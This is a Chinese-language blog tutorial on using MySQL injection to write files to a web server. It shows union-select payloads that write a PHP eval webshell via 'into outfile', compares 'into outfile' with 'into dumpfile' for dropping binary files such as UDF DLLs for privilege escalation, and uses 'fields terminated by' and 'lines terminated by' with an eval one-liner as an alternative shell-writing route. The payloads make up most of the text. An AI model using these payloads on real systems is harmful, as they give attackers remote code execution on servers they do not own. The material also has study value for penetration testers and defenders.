into outfile
into dumpfile
fields terminated by
lines terminated by

故事背景

假设我们前面有如下一个表:

http://www.teagle.top/index.php?id=1

假设上面这条链接,对应的是如下SQL语句

select * from bees_link where id = 1;

正文

支持union关键字,联合查询时。也就是我们最常见的mysql注入写shell的payload:

id = 1 union select '<?php @eval($_POST[1]);?>' into outfile 'd:/www/shell.php'

Note: windows下面可以使用单斜杠来分隔目录

1. into outfile

两张图了解使用into outfilePayload的一些细节:

  1. 使用union联合查询时,要保证两侧查询的列数相同
  2. into outfiile会在换行符制表符后面追加反斜杠
  3. into outfile会在末尾追加换行

  1. into outfile支持多行数据同时导出

2. into dumpfile

正如上面那张图片展示的那样:

  1. into dumpfile 每次只能导出一行数据
  2. into dumpfile 不会在换行符制表符后面追加反斜杠
  3. into dumpfile 不对在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了。

通过做一个小实验来直观展示:

先获取kedaya.jpg的十六进制字符

select hex(load_file('c:/kedaya.jpg'));

然后分别执行

select unhex('kedaya.jpg hex code') into dumpfile 'c:/dump.jpg';
select unhex('kedaya.jpg hex code') into outfile 'c:/out.jpg'

然后我们去c盘根目录去查找这两个文件,发现dump.jpg正常显示,而out.jpg却无法显示

对比一下两个文件的内容,最明显的变化便是,out.jpg文件追加了很多反斜杠,这些反斜杠使二进制文件无法生效

上面我们演示的写入一个jpg文件,当然我们也可以写入任意可执行文件;如udf提权所需要的dll文件等。

当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell

Note: 如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该怎么做呢

可以在联合查询之前手动添加limit进行限制。

3. fields terminated by

terminate
英 [ˈtɜ:mɪneɪt] 美 [ˈtɜ:rmɪneɪt]

vt.& vi.
结束;使终结;解雇;到达终点站

adj.
结束的

顾名思义,fields terminated by 'a',表示字段由字符a结束,也就是说,每个字段后面追加字符a。

是用来定义字段分隔符的作用。

不过它有一个限制,或者说特点,看下面这张图或许会更加直观

正如上图所展示的那样,会在字段中间添加指定的分隔符,但是如果只一个字段时,那么便不会添加分隔符

当然我们可以使用恶意代码作为分隔符,像下面这样

fields terminated by '<?php @eval($_REQUEST[1]);?>'

4. lines terminated by

同理,用来定义行分隔符。

这里需要着重留意的是,即使结果集里面只有一个字段,依旧有效

推荐使用

参考文章

mysql写Shell小技巧

https://www.cnblogs.com/qing123/p/6771858.html

mysql5.7导出数据提示--secure-file-priv选项问题的解决方法

https://blog.csdn.net/fdipzone/article/details/78634992

mysql dumpfile 与 outfile 函数的区别

https://www.2cto.com/database/201202/119610.html


本文由 TEag1e 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论

icon_redface.gificon_idea.gificon_cool.gif2016kuk.gificon_mrgreen.gif2016shuai.gif2016tp.gif2016db.gif2016ch.gificon_razz.gif2016zj.gificon_sad.gificon_cry.gif2016zhh.gificon_question.gif2016jk.gif2016bs.gificon_lol.gif2016qiao.gificon_surprised.gif2016fendou.gif2016ll.gificon_mrgreen.pngicon_neutral.pngicon_twisted.pngicon_arrow.pngicon_eek.pngicon_smile.pngicon_confused.pngicon_cool.pngicon_evil.pngicon_biggrin.pngicon_idea.pngicon_redface.pngicon_razz.pngicon_rolleyes.pngicon_wink.pngicon_cry.pngicon_surprised.pngicon_lol.pngicon_mad.pngicon_sad.pngicon_exclaim.pngicon_question.pngicon_rolleyes.gif2016gz.gif2016kun.gif2016zhem.gif2016am.gif2016kel.gificon_twisted.gif2016lh.gificon_neutral.gif2016ka.gif2016tx.gificon_evil.gif2016bb.gif2016yun.gif2016qq.gif2016baojin.gificon_confused.gif2016kk.gif2016zk.gif2016kb.gificon_mad.gif2016yhh.gificon_exclaim.gif2016xia.gif2016gg.gif2016qd.gificon_smile.gif2016lengh.gificon_biggrin.gif2016bz.gif2016wq.gificon_eek.gificon_arrow.gificon_wink.gif2016tuu.gif